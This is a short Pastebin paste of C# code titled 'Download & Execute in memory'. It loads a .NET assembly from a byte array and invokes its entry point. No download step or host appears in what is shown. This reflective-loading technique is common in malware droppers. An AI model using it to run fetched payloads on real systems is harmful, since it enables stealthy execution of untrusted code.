Ethernal_Five

C# - Download & Execute in memory

Sep 8th, 2011
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 0.53 KB | None | 0 0
  1.         public static void Exec(byte[] file)
  2.         {
  3.             Assembly assembly = Assembly.Load(file);
  4.             MethodInfo entryp = assembly.EntryPoint;
  5.             object objectval = RuntimeHelpers.GetObjectValue(assembly.CreateInstance(entryp.Name));
  6.             if (entryp.GetParameters().Length > 0)
  7.             { entryp.Invoke(RuntimeHelpers.GetObjectValue(objectval), new object[] { new string[] { "1" } }); }
  8.             else
  9.             { entryp.Invoke(RuntimeHelpers.GetObjectValue(objectval), null); }
  10.         }
Add Comment
Please, Sign In to add comment